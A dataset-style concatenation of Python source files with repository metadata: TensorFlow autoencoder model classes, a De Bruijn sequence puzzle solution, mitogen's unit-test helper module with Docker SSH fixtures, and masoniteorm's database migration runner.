nonlinearity=tf.nn.relu, reuse=reuse) return fc4_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training f1_width = 1000 de_fc1 = linear_layer(x, "rnasq_de_fc1", f1_width, stddev='Xav', \ wd=weight_decay, nonlinearity=tf.nn.relu) f2_width = 1000 de_fc2 = linear_layer(de_fc1, "rnasq_de_fc2", f2_width, stddev='Xav', \ wd=weight_decay, nonlinearity=tf.nn.relu) f3_width = 1000 de_fc3 = linear_layer(de_fc2, "rnasq_de_fc3", f3_width, stddev='Xav', \ wd=weight_decay, nonlinearity=tf.nn.relu) de_fc4_out = linear_layer(de_fc3, 'rnasq_de_fc4_out', self.width, stddev='Xav', \ wd=weight_decay, nonlinearity=None) print("out layer has width", self.width) return de_fc4_out class LBEXP_SELU: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("AE for LBEXP_selu") self.is_training = is_training self.code = 'lbexpselu' # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) fc1 = linear_layer(tf.nn.dropout(x, keep_prob), self.code+"_fc1", 200, stddev='selu', wd=weight_decay, \ nonlinearity=selu, reuse=reuse) fc2 = linear_layer(tf.nn.dropout(fc1, keep_prob), self.code+'_fc2', 150, stddev='selu', wd=weight_decay, \ nonlinearity=selu, reuse=reuse) self.f3_out_width = 100 fc3_out = linear_layer(tf.nn.dropout(fc2, keep_prob), self.code+"_fc3_out", self.f3_out_width, stddev='Xav', \ wd=weight_decay, nonlinearity=None, reuse=reuse) return fc3_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training de_fc1 = linear_layer(x, self.code+"_de_fc1", 150, stddev='selu', \ wd=weight_decay, nonlinearity=selu) de_fc2 = linear_layer(de_fc1, self.code+"_de_fc2", 200, stddev='selu', \ wd=weight_decay, nonlinearity=selu) de_fc3_out = linear_layer(de_fc2, self.code+'_de_fc3_out', self.width, stddev='Xav', \ wd=weight_decay, nonlinearity=None) print("out layer has width", self.width) return de_fc3_out class LBEXP_RELU: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("AE for LBEXP_relu") self.is_training = is_training self.code = 'lbexprelu' # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) fc1 = linear_layer(tf.nn.dropout(x, keep_prob), self.code+"_fc1", 200, stddev='Xav', wd=weight_decay, \ nonlinearity=None, reuse=reuse) fc2 = linear_layer(tf.nn.dropout(fc1, keep_prob), self.code+'_fc2', 150, stddev='Xav', wd=weight_decay, \ nonlinearity=None, reuse=reuse) self.f3_out_width = 100 fc3_out = linear_layer(tf.nn.dropout(fc2, keep_prob), self.code+"_fc3_out", self.f3_out_width, stddev='Xav', \ wd=weight_decay, nonlinearity=None, reuse=reuse) return fc3_out class AutoEncoder_ECFP_Three_BN: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output print("AE for ECFP_three_BN") self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay): test = not self.is_training fc1 = batch_normalized_linear_layer(x, "fc1", 500, stddev=.01, wd=weight_decay, test=test) fc2 = batch_normalized_linear_layer(fc1, 'fc2', 250, stddev=.01, wd=weight_decay, test=test) fc3_out = linear_layer(fc2, "fc3_out", 100, stddev=.01, wd=weight_decay) return fc3_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training de_fc1 = batch_normalized_linear_layer(x, "de_fc1", 250, stddev=.01, wd=weight_decay, test=test) de_fc2 = batch_normalized_linear_layer(de_fc1, "de_fc2", 500, stddev=.01, wd=weight_decay, test=test) de_fc3_out = linear_layer(de_fc2, 'de_fc3_out', self.width, stddev=.01, \ wd=weight_decay, nonlinearity=intense_sigmoid) return de_fc3_out class AutoEncoder_ECFP_Skinny_BN: def __init__(self, numFeatures, is_training=True): # self.width is how many features make up the input/output print("AE for ECFP_three_skinny_BN") self.width = numFeatures self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay): test = not self.is_training fc1 = batch_normalized_linear_layer(x, "fc1", 100, stddev=.01, wd=weight_decay, test=test) #fc2 = batch_normalized_linear_layer(fc1, 'fc2', 100, stddev=.01, wd=weight_decay, test=test) fc3_out = linear_layer(fc1, "fc3_out", 100, stddev=.01, wd=weight_decay) return fc3_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training de_fc1 = batch_normalized_linear_layer(x, "de_fc1", 100, stddev=.01, wd=weight_decay, test=test) #de_fc2 = batch_normalized_linear_layer(de_fc1, "de_fc2", 100, stddev=.01, wd=weight_decay, test=test) de_fc3_out = linear_layer(de_fc1, 'de_fc3_out', self.width, stddev=.01, \ wd=weight_decay, nonlinearity=intense_sigmoid) return de_fc3_out class FANG_RELU_DRAGON: def __init__(self): print("classifier for fang_relu_dragon") self.code = 'fang_relu_dragon' # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) fc1 = linear_layer(tf.nn.dropout(x, keep_prob), self.code+"_fc1", 1000, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) fc2 = linear_layer(tf.nn.dropout(fc1, keep_prob), self.code+'_fc2', 1000, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) fc3 = linear_layer(tf.nn.dropout(fc2, keep_prob), self.code+'_fc3', 1000, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) return fc3 class FANG_RELU_GENE: def __init__(self): print("classifier for fang_relu_gene") self.code = 'fang_relu_gene' # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) fc1 = linear_layer(tf.nn.dropout(x, keep_prob), self.code+"_fc1", 1000, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) fc2 = linear_layer(tf.nn.dropout(fc1, keep_prob), self.code+'_fc2', 1000, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) fc3 = linear_layer(tf.nn.dropout(fc2, keep_prob), self.code+'_fc3', 1000, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) return fc3 class TOX_RELU: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("classifier for tox_relu") self.is_training = is_training self.code = 'toxrelu' # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) fc1 = linear_layer(tf.nn.dropout(x, keep_prob), self.code+"_fc1", 50, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) #fc2 = linear_layer(tf.nn.dropout(fc1, keep_prob), self.code+'_fc2', 50, stddev='Xav', wd=weight_decay, \ # nonlinearity=tf.nn.relu, reuse=reuse) #fc3 = linear_layer(tf.nn.dropout(fc2, keep_prob), self.code+'_fc3', 25, stddev='Xav', wd=weight_decay, \ # nonlinearity=tf.nn.relu, reuse=reuse) self.f4_out_width = 10 fc4_out = linear_layer(tf.nn.dropout(fc1, keep_prob), self.code+"_fc4_out", self.f4_out_width, stddev='Xav', \ wd=weight_decay, nonlinearity=tf.nn.relu, reuse=reuse) return fc4_out class TOX_RELU_REG: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("classifier for tox_relu_reg") self.is_training = is_training self.code = 'toxrelu_reg' # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) #fc1 = linear_layer(tf.nn.dropout(x, keep_prob), self.code+"_fc1", 50, stddev='Xav', wd=weight_decay, \ # nonlinearity=tf.nn.relu, reuse=reuse) #fc2 = linear_layer(tf.nn.dropout(fc1, keep_prob), self.code+'_fc2', 50, stddev='Xav', wd=weight_decay, \ # nonlinearity=tf.nn.relu, reuse=reuse) #fc3 = linear_layer(tf.nn.dropout(fc2, keep_prob), self.code+'_fc3', 25, stddev='Xav', wd=weight_decay, \ # nonlinearity=tf.nn.relu, reuse=reuse) #fc4 = linear_layer(tf.nn.dropout(fc3, keep_prob), self.code+"_fc4", 20, stddev='Xav', \ # wd=weight_decay, nonlinearity=tf.nn.relu, reuse=reuse) regressionLayer = linear_layer(x, self.code+"_reg_layer", 1, stddev='Xav', wd=weight_decay, \ nonlinearity=tf.nn.relu, reuse=reuse) return regressionLayer class RNASEQ_SELU_big: def __init__(self, is_training=True): # self.width is how many features make up the input/output print("AE for RNASEQ_SELU_big") self.is_training = is_training # Building the encoder def encoder(self, x, keep_prob, weight_decay, reuse=None): test = not self.is_training self.width = x.get_shape().as_list()[1] print("x shape", x.get_shape().as_list()) print("self.width", self.width) fc1 = linear_layer(x, "rnasb_fc1", 5000, stddev='selu', wd=weight_decay, \ nonlinearity=selu, reuse=reuse) fc2 = linear_layer(fc1, 'rnasb_fc2', 2000, stddev='selu', wd=weight_decay, \ nonlinearity=selu, reuse=reuse) fc3 = linear_layer(fc2, 'rnasb_fc3', 400, stddev='selu', wd=weight_decay, \ nonlinearity=selu, reuse=reuse) fc4_out = linear_layer(fc3, "rnasb_fc4_out", 200, stddev='Xav', \ wd=weight_decay, nonlinearity=None, reuse=reuse) return fc4_out # Building the decoder def decoder(self, x, keep_prob, weight_decay): test = not self.is_training de_fc1 = linear_layer(x, "rnasb_de_fc1", 400, stddev='selu', \ wd=weight_decay, nonlinearity=selu) de_fc2 = linear_layer(de_fc1, "rnasb_de_fc2", 2000, stddev='selu', \ wd=weight_decay, nonlinearity=selu) de_fc3 = linear_layer(de_fc2, "rnasb_de_fc3", 5000, stddev='selu', \ wd=weight_decay, nonlinearity=selu) de_fc4_out = linear_layer(de_fc3, 'rnasb_de_fc4_out', self.width, stddev='Xav', \ wd=weight_decay, nonlinearity=None) print("out layer has width", self.width) return de_fc4_out

40.259197

118

0.61055

ace8f066d478199175b053c11dc3b113064c56c1

1,024

py

Python

solutions/problem_264.py

ksvr444/daily-coding-problem

5d9f488f81c616847ee4e9e48974523ec2d598d7

[ "MIT" ]

1,921

2018-11-13T18:19:56.000Z

2021-11-15T14:25:41.000Z

solutions/problem_264.py

MohitIndian/daily-coding-problem

5d9f488f81c616847ee4e9e48974523ec2d598d7

[ "MIT" ]

2

2019-07-19T01:06:16.000Z

2019-08-01T22:21:36.000Z

solutions/problem_264.py

MohitIndian/daily-coding-problem

5d9f488f81c616847ee4e9e48974523ec2d598d7

[ "MIT" ]

1,066

2018-11-19T19:06:55.000Z

2021-11-13T12:33:56.000Z

# NOTE: The answer in the problem description is incorrect since # it doesn't include '100' or '110' def generate_combos(chars, k, context=""): if not k: return set([context]) combos = set() for ch in chars: combos |= generate_combos(chars, k-1, context + ch) return combos def get_debruijn_seq(chars, combos, context=""): if not combos: return set([context]) dseqs = set() if not context: for cb in combos: child_dseqs = get_debruijn_seq( chars, combos - set([cb]), cb) dseqs |= child_dseqs return dseqs for ch in chars: new_cb = context[-2:] + ch if new_cb in combos: child_dseqs = get_debruijn_seq( chars, combos - set([new_cb]), context + ch) dseqs |= child_dseqs return dseqs # Tests c, k = {'0', '1'}, 3 combos = generate_combos(c, k) dseqs = get_debruijn_seq(c, combos) assert all([all([cb in ds for cb in combos]) for ds in dseqs])

23.272727

64

0.583984

ace8f0a27d696b81a213808f084e3d9be361deda

15,939

py

Python

tests/testlib.py

webcoast-dk/mitogen

a5fe4a9fac5561511b676fe61ed127b732be5b12

[ "BSD-3-Clause" ]

null

tests/testlib.py

webcoast-dk/mitogen

a5fe4a9fac5561511b676fe61ed127b732be5b12

[ "BSD-3-Clause" ]

3

2021-03-26T00:43:30.000Z

2022-03-29T22:03:58.000Z

tests/testlib.py

webcoast-dk/mitogen

a5fe4a9fac5561511b676fe61ed127b732be5b12

[ "BSD-3-Clause" ]

null

import logging import os import random import re import signal import socket import subprocess import sys import threading import time import traceback import unittest2 import mitogen.core import mitogen.fork import mitogen.master import mitogen.utils try: import faulthandler except ImportError: faulthandler = None try: import urlparse except ImportError: import urllib.parse as urlparse try: from cStringIO import StringIO except ImportError: from io import StringIO try: BaseException except NameError: BaseException = Exception LOG = logging.getLogger(__name__) DATA_DIR = os.path.join(os.path.dirname(__file__), 'data') MODS_DIR = os.path.join(DATA_DIR, 'importer') sys.path.append(DATA_DIR) sys.path.append(MODS_DIR) if mitogen.is_master: mitogen.utils.log_to_file() if faulthandler is not None: faulthandler.enable() # # Temporary hack: Operon changed logging somewhat, and this broke LogCapturer / # log_handler_test. # mitogen.core.LOG.propagate = True def get_fd_count(): """ Return the number of FDs open by this process. """ import psutil return psutil.Process().num_fds() def data_path(suffix): path = os.path.join(DATA_DIR, suffix) if path.endswith('.key'): # SSH is funny about private key permissions. os.chmod(path, int('0600', 8)) return path def subprocess__check_output(*popenargs, **kwargs): # Missing from 2.6. process = subprocess.Popen(stdout=subprocess.PIPE, *popenargs, **kwargs) output, _ = process.communicate() retcode = process.poll() if retcode: cmd = kwargs.get("args") if cmd is None: cmd = popenargs[0] raise subprocess.CalledProcessError(retcode, cmd) return output def Popen__terminate(proc): os.kill(proc.pid, signal.SIGTERM) if hasattr(subprocess, 'check_output'): subprocess__check_output = subprocess.check_output if hasattr(subprocess.Popen, 'terminate'): Popen__terminate = subprocess.Popen.terminate def wait_for_port( host, port, pattern=None, connect_timeout=0.5, receive_timeout=0.5, overall_timeout=5.0, sleep=0.1, ): """Attempt to connect to host/port, for upto overall_timeout seconds. If a regex pattern is supplied try to find it in the initial data. Return None on success, or raise on error. """ start = mitogen.core.now() end = start + overall_timeout addr = (host, port) while mitogen.core.now() < end: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(connect_timeout) try: sock.connect(addr) except socket.error: # Failed to connect. So wait then retry. time.sleep(sleep) continue if not pattern: # Success: We connected & there's no banner check to perform. sock.shutdown(socket.SHUTD_RDWR) sock.close() return sock.settimeout(receive_timeout) data = mitogen.core.b('') found = False while mitogen.core.now() < end: try: resp = sock.recv(1024) except socket.timeout: # Server stayed up, but had no data. Retry the recv(). continue if not resp: # Server went away. Wait then retry the connection. time.sleep(sleep) break data += resp if re.search(mitogen.core.b(pattern), data): found = True break try: sock.shutdown(socket.SHUT_RDWR) except socket.error: e = sys.exc_info()[1] # On Mac OS X - a BSD variant - the above code only succeeds if the # operating system thinks that the socket is still open when # shutdown() is invoked. If Python is too slow and the FIN packet # arrives before that statement can be reached, then OS X kills the # sock.shutdown() statement with: # # socket.error: [Errno 57] Socket is not connected # # Protect shutdown() with a try...except that catches the # socket.error, test to make sure Errno is right, and ignore it if # Errno matches. if e.errno == 57: pass else: raise sock.close() if found: # Success: We received the banner & found the desired pattern return else: # Failure: The overall timeout expired if pattern: raise socket.timeout('Timed out while searching for %r from %s:%s' % (pattern, host, port)) else: raise socket.timeout('Timed out while connecting to %s:%s' % (host, port)) def sync_with_broker(broker, timeout=10.0): """ Insert a synchronization barrier between the calling thread and the Broker thread, ensuring it has completed at least one full IO loop before returning. Used to block while asynchronous stuff (like defer()) happens on the broker. """ sem = mitogen.core.Latch() broker.defer(sem.put, None) sem.get(timeout=timeout) def log_fd_calls(): mypid = os.getpid() l = threading.Lock() real_pipe = os.pipe def pipe(): l.acquire() try: rv = real_pipe() if mypid == os.getpid(): sys.stdout.write('\n%s\n' % (rv,)) traceback.print_stack(limit=3) sys.stdout.write('\n') return rv finally: l.release() os.pipe = pipe real_socketpair = socket.socketpair def socketpair(*args): l.acquire() try: rv = real_socketpair(*args) if mypid == os.getpid(): sys.stdout.write('\n%s -> %s\n' % (args, rv)) traceback.print_stack(limit=3) sys.stdout.write('\n') return rv finally: l.release() socket.socketpair = socketpair real_dup2 = os.dup2 def dup2(*args): l.acquire() try: real_dup2(*args) if mypid == os.getpid(): sys.stdout.write('\n%s\n' % (args,)) traceback.print_stack(limit=3) sys.stdout.write('\n') finally: l.release() os.dup2 = dup2 real_dup = os.dup def dup(*args): l.acquire() try: rv = real_dup(*args) if mypid == os.getpid(): sys.stdout.write('\n%s -> %s\n' % (args, rv)) traceback.print_stack(limit=3) sys.stdout.write('\n') return rv finally: l.release() os.dup = dup class CaptureStreamHandler(logging.StreamHandler): def __init__(self, *args, **kwargs): logging.StreamHandler.__init__(self, *args, **kwargs) self.msgs = [] def emit(self, msg): self.msgs.append(msg) logging.StreamHandler.emit(self, msg) class LogCapturer(object): def __init__(self, name=None): self.sio = StringIO() self.logger = logging.getLogger(name) self.handler = CaptureStreamHandler(self.sio) self.old_propagate = self.logger.propagate self.old_handlers = self.logger.handlers self.old_level = self.logger.level def start(self): self.logger.handlers = [self.handler] self.logger.propagate = False self.logger.level = logging.DEBUG def raw(self): s = self.sio.getvalue() # Python 2.x logging package hard-wires UTF-8 output. if isinstance(s, mitogen.core.BytesType): s = s.decode('utf-8') return s def msgs(self): return self.handler.msgs def __enter__(self): self.start() return self def __exit__(self, _1, _2, _3): self.stop() def stop(self): self.logger.level = self.old_level self.logger.handlers = self.old_handlers self.logger.propagate = self.old_propagate return self.raw() class TestCase(unittest2.TestCase): @classmethod def setUpClass(cls): # This is done in setUpClass() so we have a chance to run before any # Broker() instantiations in setUp() etc. mitogen.fork.on_fork() cls._fd_count_before = get_fd_count() super(TestCase, cls).setUpClass() ALLOWED_THREADS = set([ 'MainThread', 'mitogen.master.join_thread_async' ]) def _teardown_check_threads(self): counts = {} for thread in threading.enumerate(): name = thread.getName() # Python 2.4: enumerate() may return stopped threads. assert (not thread.isAlive()) or name in self.ALLOWED_THREADS, \ 'Found thread %r still running after tests.' % (name,) counts[name] = counts.get(name, 0) + 1 for name in counts: assert counts[name] == 1, \ 'Found %d copies of thread %r running after tests.' % ( counts[name], name ) def _teardown_check_fds(self): mitogen.core.Latch._on_fork() if get_fd_count() != self._fd_count_before: import os; os.system('lsof +E -w -p %s | grep -vw mem' % (os.getpid(),)) assert 0, "%s leaked FDs. Count before: %s, after: %s" % ( self, self._fd_count_before, get_fd_count(), ) # Some class fixtures (like Ansible MuxProcess) start persistent children # for the duration of the class. no_zombie_check = False def _teardown_check_zombies(self): if self.no_zombie_check: return try: pid, status = os.waitpid(0, os.WNOHANG) except OSError: return # ECHILD if pid: assert 0, "%s failed to reap subprocess %d (status %d)." % ( self, pid, status ) print('') print('Children of unit test process:') os.system('ps uww --ppid ' + str(os.getpid())) assert 0, "%s leaked still-running subprocesses." % (self,) def tearDown(self): self._teardown_check_zombies() self._teardown_check_threads() self._teardown_check_fds() super(TestCase, self).tearDown() def assertRaises(self, exc, func, *args, **kwargs): """Like regular assertRaises, except return the exception that was raised. Can't use context manager because tests must run on Python2.4""" try: func(*args, **kwargs) except exc: e = sys.exc_info()[1] return e except BaseException: LOG.exception('Original exception') e = sys.exc_info()[1] assert 0, '%r raised %r, not %r' % (func, e, exc) assert 0, '%r did not raise %r' % (func, exc) def get_docker_host(): url = os.environ.get('DOCKER_HOST') if url in (None, 'http+docker://localunixsocket'): return 'localhost' parsed = urlparse.urlparse(url) return parsed.netloc.partition(':')[0] class DockerizedSshDaemon(object): def _get_container_port(self): s = subprocess__check_output(['docker', 'port', self.container_name]) for line in s.decode().splitlines(): dport, proto, baddr, bport = self.PORT_RE.match(line).groups() if dport == '22' and proto == 'tcp': self.port = int(bport) self.host = self.get_host() if self.port is None: raise ValueError('could not find SSH port in: %r' % (s,)) def start_container(self): try: subprocess__check_output(['docker', '--version']) except Exception: raise unittest2.SkipTest('Docker binary is unavailable') self.container_name = 'mitogen-test-%08x' % (random.getrandbits(64),) args = [ 'docker', 'run', '--detach', '--privileged', '--publish-all', '--name', self.container_name, self.image, ] subprocess__check_output(args) self._get_container_port() def __init__(self, mitogen_test_distro=os.environ.get('MITOGEN_TEST_DISTRO', 'debian')): if '-' in mitogen_test_distro: distro, _py3 = mitogen_test_distro.split('-') else: distro = mitogen_test_distro _py3 = None if _py3 == 'py3': self.python_path = '/usr/bin/python3' else: self.python_path = '/usr/bin/python' self.image = 'mitogen/%s-test' % (distro,) # 22/tcp -> 0.0.0.0:32771 self.PORT_RE = re.compile(r'([^/]+)/([^ ]+) -> ([^:]+):(.*)') self.port = None self.start_container() def get_host(self): return get_docker_host() def wait_for_sshd(self): wait_for_port(self.get_host(), self.port, pattern='OpenSSH') def check_processes(self): args = ['docker', 'exec', self.container_name, 'ps', '-o', 'comm='] counts = {} for comm in subprocess__check_output(args).decode().splitlines(): comm = comm.strip() counts[comm] = counts.get(comm, 0) + 1 if counts != {'ps': 1, 'sshd': 1}: assert 0, ( 'Docker container %r contained extra running processes ' 'after test completed: %r' % ( self.container_name, counts ) ) def close(self): args = ['docker', 'rm', '-f', self.container_name] subprocess__check_output(args) class BrokerMixin(object): broker_class = mitogen.master.Broker broker_shutdown = False def setUp(self): super(BrokerMixin, self).setUp() self.broker = self.broker_class() def tearDown(self): if not self.broker_shutdown: self.broker.shutdown() self.broker.join() del self.broker super(BrokerMixin, self).tearDown() def sync_with_broker(self): sync_with_broker(self.broker) class RouterMixin(BrokerMixin): router_class = mitogen.master.Router def setUp(self): super(RouterMixin, self).setUp() self.router = self.router_class(self.broker) def tearDown(self): del self.router super(RouterMixin, self).tearDown() class DockerMixin(RouterMixin): @classmethod def setUpClass(cls): super(DockerMixin, cls).setUpClass() if os.environ.get('SKIP_DOCKER_TESTS'): raise unittest2.SkipTest('SKIP_DOCKER_TESTS is set') # we want to be able to override test distro for some tests that need a different container spun up daemon_args = {} if hasattr(cls, 'mitogen_test_distro'): daemon_args['mitogen_test_distro'] = cls.mitogen_test_distro cls.dockerized_ssh = DockerizedSshDaemon(**daemon_args) cls.dockerized_ssh.wait_for_sshd() @classmethod def tearDownClass(cls): cls.dockerized_ssh.check_processes() cls.dockerized_ssh.close() super(DockerMixin, cls).tearDownClass() def docker_ssh(self, **kwargs): kwargs.setdefault('hostname', self.dockerized_ssh.host) kwargs.setdefault('port', self.dockerized_ssh.port) kwargs.setdefault('check_host_keys', 'ignore') kwargs.setdefault('ssh_debug_level', 3) kwargs.setdefault('python_path', self.dockerized_ssh.python_path) return self.router.ssh(**kwargs) def docker_ssh_any(self, **kwargs): return self.docker_ssh( username='mitogen__has_sudo_nopw', password='has_sudo_nopw_password', )

28.927405

107

0.583851

ace8f108b382b87dd89546e9373c356d4d55e754

8,716

py

Python

src/masoniteorm/migrations/Migration.py

alfonsocv12/orm

87b2532c7673a28c143600329df68e0343607f55

[ "MIT" ]

94

2020-02-08T21:08:56.000Z

2022-03-28T15:24:52.000Z

src/masoniteorm/migrations/Migration.py

alfonsocv12/orm

87b2532c7673a28c143600329df68e0343607f55

[ "MIT" ]

441

2020-02-09T06:17:44.000Z

2022-03-30T07:27:39.000Z

src/masoniteorm/migrations/Migration.py

alfonsocv12/orm

87b2532c7673a28c143600329df68e0343607f55

[ "MIT" ]

28

2020-02-26T10:29:05.000Z

2022-03-30T19:08:28.000Z

import os from os import listdir from os.path import isfile, join from pydoc import locate from inflection import camelize from ..models.MigrationModel import MigrationModel from ..schema import Schema from ..config import load_config from timeit import default_timer as timer class Migration: def __init__( self, connection="default", dry=False, command_class=None, migration_directory="databases/migrations", config_path=None, ): self.connection = connection self.migration_directory = migration_directory self.last_migrations_ran = [] self.command_class = command_class DB = load_config(config_path).DB DATABASES = DB.get_connection_details() self.schema = Schema( connection=connection, connection_details=DATABASES, dry=dry ) self.migration_model = MigrationModel.on(self.connection) def create_table_if_not_exists(self): if not self.schema.has_table("migrations"): with self.schema.create("migrations") as table: table.increments("migration_id") table.string("migration") table.integer("batch") return True return False def get_unran_migrations(self): directory_path = os.path.join(os.getcwd(), self.migration_directory) all_migrations = [ f.replace(".py", "") for f in listdir(directory_path) if isfile(join(directory_path, f)) and f != "__init__.py" ] all_migrations.sort() unran_migrations = [] database_migrations = self.migration_model.all() for migration in all_migrations: if migration not in database_migrations.pluck("migration"): unran_migrations.append(migration) return unran_migrations def get_rollback_migrations(self): return ( self.migration_model.where("batch", self.migration_model.all().max("batch")) .order_by("migration_id", "desc") .get() .pluck("migration") ) def get_all_migrations(self, reverse=False): if reverse: return ( self.migration_model.order_by("migration_id", "desc") .get() .pluck("migration") ) return self.migration_model.all().pluck("migration") def get_last_batch_number(self): return self.migration_model.select("batch").get().max("batch") def delete_migration(self, file_path): return self.migration_model.where("migration", file_path).delete() def locate(self, file_name): migration_name = camelize("_".join(file_name.split("_")[4:]).replace(".py", "")) file_name = file_name.replace(".py", "") migration_directory = self.migration_directory.replace("/", ".").replace( "\\", "." ) return locate(f"{migration_directory}.{file_name}.{migration_name}") def get_ran_migrations(self): directory_path = os.path.join(os.getcwd(), self.migration_directory) all_migrations = [ f.replace(".py", "") for f in listdir(directory_path) if isfile(join(directory_path, f)) and f != "__init__.py" ] all_migrations.sort() ran = [] database_migrations = self.migration_model.all() for migration in all_migrations: if migration in database_migrations.pluck("migration"): ran.append(migration) return ran def migrate(self, migration="all", output=False): default_migrations = self.get_unran_migrations() migrations = default_migrations if migration == "all" else [migration] batch = self.get_last_batch_number() + 1 for migration in migrations: try: migration_class = self.locate(migration) except TypeError: self.command_class.line(f"<error>Not Found: {migration}</error>") continue self.last_migrations_ran.append(migration) if self.command_class: self.command_class.line( f"<comment>Migrating:</comment> <question>{migration}</question>" ) migration_class = migration_class(connection=self.connection) if output: migration_class.schema.dry() start = timer() migration_class.up() duration = "{:.2f}".format(timer() - start) if output: if self.command_class: table = self.command_class.table() table.set_header_row(["SQL"]) sql = migration_class.schema._blueprint.to_sql() if isinstance(sql, list): sql = ",".join(sql) table.set_rows([[sql]]) table.render(self.command_class.io) continue else: print(migration_class.schema._blueprint.to_sql()) if self.command_class: self.command_class.line( f"<info>Migrated:</info> <question>{migration}</question> ({duration}s)" ) self.migration_model.create( {"batch": batch, "migration": migration.replace(".py", "")} ) def rollback(self, migration="all", output=False): default_migrations = self.get_rollback_migrations() migrations = default_migrations if migration == "all" else [migration] for migration in migrations: if self.command_class: self.command_class.line( f"<comment>Rolling back:</comment> <question>{migration}</question>" ) try: migration_class = self.locate(migration) except TypeError: self.command_class.line(f"<error>Not Found: {migration}</error>") continue migration_class = migration_class(connection=self.connection) if output: migration_class.schema.dry() start = timer() migration_class.down() duration = "{:.2f}".format(timer() - start) if output: if self.command_class: table = self.command_class.table() table.set_header_row(["SQL"]) if ( hasattr(migration_class.schema, "_blueprint") and migration_class.schema._blueprint ): sql = migration_class.schema._blueprint.to_sql() if isinstance(sql, list): sql = ",".join(sql) table.set_rows([[sql]]) elif migration_class.schema._sql: table.set_rows([[migration_class.schema._sql]]) table.render(self.command_class.io) continue else: print(migration_class.schema._blueprint.to_sql()) self.delete_migration(migration) if self.command_class: self.command_class.line( f"<info>Rolled back:</info> <question>{migration}</question> ({duration}s)" ) def delete_migrations(self, migrations=None): return self.migration_model.where_in("migration", migrations or []).delete() def delete_last_batch(self): return self.migration_model.where( "batch", self.get_last_batch_number() ).delete() def reset(self): for migration in self.get_all_migrations(reverse=True): if self.command_class: self.command_class.line( f"<comment>Rolling back:</comment> <question>{migration}</question>" ) try: self.locate(migration)(connection=self.connection).down() except TypeError: self.command_class.line(f"<error>Not Found: {migration}</error>") continue # raise MigrationNotFound(f"Could not find {migration}") self.delete_migration(migration) if self.command_class: self.command_class.line( f"<info>Rolled back:</info> <question>{migration}</question>" ) self.delete_migrations([migration]) if self.command_class: self.command_class.line("") def refresh(self): self.reset() self.migrate()

33.914397

95

0.563447